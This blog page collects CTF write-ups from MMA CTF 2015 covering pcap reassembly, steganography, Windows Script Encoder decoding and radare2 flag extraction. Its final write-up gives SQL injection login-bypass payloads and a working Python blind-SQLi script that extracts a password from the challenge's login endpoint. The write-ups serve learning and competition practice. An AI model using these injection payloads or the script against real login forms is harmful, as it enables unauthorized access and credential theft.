Showing posts with label mma. Show all posts
Showing posts with label mma. Show all posts

Monday, September 7, 2015

MMA CTF 2015 - Splitted (30)

This challenge started with a 7z that extracted a pcap.
Launching wireshark, I sort by the length column to check the largest packets captured.

Looks like there's a zip that was transfered, this is probably what we need to extract, also looks like it's in multiple chunks ('splitted').



After naively doing a "Follow TCP Stream" and exporting the data, I realized the segments were in the wrong order.  Notably the "PK" bytes were in the middle, which are part of the magic bytes for a zip file.  Now we need to figure out how to arrange it correctly.  The intuition of where to find this data came from a friend on the team - http://lockboxx.blogspot.com/
On a past challenge he had mentioned there are parts of the packet describing the order in which streams constructed.  Looking a little further I found the "Content-Range" attribute needed to reconstruct the original file.

By the way, if anyone knows of a nice way in python to pull the "Content-Range" section out of the HTTP headers, please leave a comment below, I would love to know!



In this example, we're looking at the 2nd packet in the chain of total split packets.  It shows the Content-Range is 269-937.  Now we just need to export each data portion of the packet to a file.  We'll start by copying the hex representations to a python file and export the zip this way.

By right-clicking on the field underneath "Media Type" we can go to Copy > Bytes > Hex Stream, which will be the representation of bytes in the payload section of this packet only ( A lot nicer than trimming down the header section of each packet ).



Following the "Content-Range" attribute for each packet, we assemble a python file that will export the zip file contained within the capture:


Now we can extract it with unzip, and check what's inside!
Looks like we have a file called flag.psd.
Let's open that up in gimp and see what we've got.



Looks like we've got a blank canvas!  But there's another layer in the psd.  Turning off the first layer, or swapping the layers seems to do the trick.


MMA CTF 2015 - Nagoya Castle (100)


This challenge was a fun relaxing one, playing around in GIMP and eventually discovering a new tool which looks useful for future stego challenges.

The Image provided can be seen above. An upshot of a Beautiful Castle in Central Japan.

My first intuition was to go into GIMP and start playing around with threshold, color balance and curves.
Out of that I got a partial reveal of the Flag:


After taking a break and coming back, I decided to research what other people were doing to solve CTF stego challenges out there.
I stumbled upon Balda's Stegpy Release page -
http://www.balda.ch/posts/2013/Jun/04/release-stegpy/

Github link - https://github.com/Baldanos/Stegpy


After playing around with this tool (Which was very nice to use), I found the flag within seconds:
$ python stegpy.py -V castle.png

Sunday, September 6, 2015

MMA CTF 2015 - MQAAAA (70)


MQAAAA was one of those obscure stego/misc challenges that began in a search for various Binary-to-text encodings (Wiki Page) that are publicly available out there.

Between a mix of intuitive feelings and tests of each encoding, and analysis of letter frequencies, I landed on the first being base64. This seemed too simple, but then looking at the result, I saw the title of the challenge in the obscure output: "MQAAAA"

Base64 Decode:
$ echo 'I0B+Xk1RQUFBQT09CVVtLmJ3RFIrMXRLY0p0SCkJRHRubTZWbFRtaEtETnxyZHtLNDZFZG1DT2JXVThyYmpSSUFBQT09XiN+QA==' | base64 -D
Output:
#@~^MQAAAA== Um.bwDR+1tKcJtH) Dtnm6VlTmhKDN|rd{K46EdmCObWU8rbjRIAAA==^#~@

Okay.... We've got some base64 lookin' stuff... some non base64 lookin' stuff... lots of space, and MQAAAA== decodes to 1. Great.

After being stumped for a while, I went on an assumption that this is another type of encoding or language out there somewhere.
Noticed that the start and end of this result was #@~^ and ^#~@... After looking at php for hours, having the image of deepen it's way into my retinas, I had the thought of pre / post tokens for languages burnt into my current thoughts. So let's search for one.

On SymbolHound (Great site for searching symboles) - I looked for the beginning segment: #@~^
The only Result:

It's IT | softwareontwikkeling, webdevelopment, ict oplossingen op maat
#@~^FQAAAA==@#@&CCb@#@&zz O@*@#@&TQIAAA==^#~@ HaiHai HaiHai #@~^IgAAAA==@#@&CCbCmk@#@&CmrCmk@#@&JzRR@*@#@&mgUAAA==^#~@ Cute. As you can see, @#@& appears to be a newline (@#
http://itsit.nl/klaphek/scrdec.html


This leads to a post entitled: "Breaking the Windows Script Encoder"
The code we're looking at after the Base64 decoding is JSCript. A funky version of ECMAScript used in windows (originally for ActiveX).

I did not read the article the search resulted in. Instead after looking on wikipedia for JScript I found a mention to the numerous online decryption services for JScript. After some searches I didn't find one hosted online, but did find a C script hosted on a site that was currently down, but available on the WaybackMachine - link.

And the C file which encodes & decodes JScript files: http://web.archive.org/web/20140209124110/http://www.virtualconspiracy.com/download/scrdec18.c


After compiling and running that against a new file containing the output of the base64 decoding, we get the flag:
WScript.echo("MMA{the_flag_word_is_obfuscation}")

MMA CTF 2015 - cannotberun (80)


Admittedly this one wasn't an interesting process as I didn't have access to any windows boxes or VM's. So it was quickly done in radare2.
$ r2 cannotberun
> s sym.main

Used '<' and '>' hotkeys in radare2 to step through the code a bit, and found an interesting looking block (About 7 pages down):
0000:04f4    40           inc ax
0000:04f5    0938         or word [bx + si], di
0000:04f7    c6400a31     mov byte [bx + si + 0xa], 0x31     ; [0x31:1]=0 ; '1'
0000:04fb    c6400b66     mov byte [bx + si + 0xb], 0x66     ; [0x66:1]=32 ; 'f'
0000:04ff    c6400c73     mov byte [bx + si + 0xc], 0x73     ; [0x73:1]=10 ; 's'
0000:0503    c6400d67     mov byte [bx + si + 0xd], 0x67     ; [0x67:1]=114 ; 'g'
0000:0507    c6400e36     mov byte [bx + si + 0xe], 0x36     ; [0x36:1]=0 ; '6'
0000:050b    ff15         call word [di]
unk(unk, unk) ; section_end..text

Doesn't look big enough to be a flag, but let's try shifting around a little. I usually play with left and arrow keys to see if alignment issues are in place. In this case, it seemed like there were. You'll see the result after shifting to the right amount below:
0000:04d0    c60037       mov byte [bx + si], 0x37           ; [0x37:1]=0 ; '7'
0000:04d3    c6400161     mov byte [bx + si + 1], 0x61       ; [0x61:1]=39 ; 'a'
0000:04d7    c6400233     mov byte [bx + si + 2], 0x33       ; [0x33:1]=0 ; '3'
0000:04db    c6400335     mov byte [bx + si + 3], 0x35       ; [0x35:1]=0 ; '5'
0000:04df    c6400468     mov byte [bx + si + 4], 0x68       ; [0x68:1]=117 ; 'h'
0000:04e3    c6400578     mov byte [bx + si + 5], 0x78       ; [0x78:1]=36 ; 'x'
0000:04e7    c6400662     mov byte [bx + si + 6], 0x62       ; [0x62:1]=116 ; 'b'
0000:04eb    c6400739     mov byte [bx + si + 7], 0x39       ; [0x39:1]=0 ; '9'
0000:04ef    c6400871     mov byte [bx + si + 8], 0x71       ; [0x71:1]=63 ; 'q'
0000:04f3    c6400938     mov byte [bx + si + 9], 0x38       ; [0x38:1]=0 ; '8'
0000:04f7    c6400a31     mov byte [bx + si + 0xa], 0x31     ; [0x31:1]=0 ; '1'
0000:04fb    c6400b66     mov byte [bx + si + 0xb], 0x66     ; [0x66:1]=32 ; 'f'
0000:04ff    c6400c73     mov byte [bx + si + 0xc], 0x73     ; [0x73:1]=10 ; 's'
0000:0503    c6400d67     mov byte [bx + si + 0xd], 0x67     ; [0x67:1]=114 ; 'g'
0000:0507    c6400e36     mov byte [bx + si + 0xe], 0x36     ; [0x36:1]=0 ; '6'

This Looked more promising.
Pasted this in vim, and did the following to clean the data:
%s/; //g
%s/'//g
%s/\n//g

Wrap this data in the flag format, and we've got a valid flag!
MMA{7a35hxb9q81fsg6}

MMA CTF 2015 - Login as admin! (30)

On this challenge I took an approach that was probably over-engineered. Used Blind SQLi to find the password of the admin user.


You can login with 'test/test' credentials, which gives you this output:
You are test user.
logout

Let's try logging in with the admin' user.

Initially tried a simple sql injection and it worked immediately:
Username: admin' --
This output was provided, saying we needed to go further by finding the password for the user:
Congratulations!!
You are admin user.
The flag is your password!
logout

This worked without setting the password field, so this makes things easy. Didn't want to attempt dumping the password or joining with the username. So instead went the Blind SQLi route. First tried the initial effort by running:
admin' and password like '%' --
> Success!
admin' and password like 'MMA{%' --
> Success!
admin' and password like 'abcd%' --
> Expected Failure.

Now that we have that out of the way, let's write a python client!
import sys
import requests
import random
import string

url = "http://arrive.chal.mmactf.link/login.cgi"
injection = "admin' and password like '{}' --"

allChars = string.lowercase

solution = "MMA{"

def found(c):
  print "Found! :: {}".format(c)
  print solution

while len(solution) < 80:
  for c in allChars:
    print 'Attempt: {}'.format(c)
    content = requests.post(url, {
      "username": injection.format(solution + c + "%")
    }).content
    if 'invalid' not in content:
      solution += c
      found(c)
      break
    elif c == 'z':
      solution += '_'
      found(c)


After a few cycles, this prints out:
  MMA{cats_alice_band}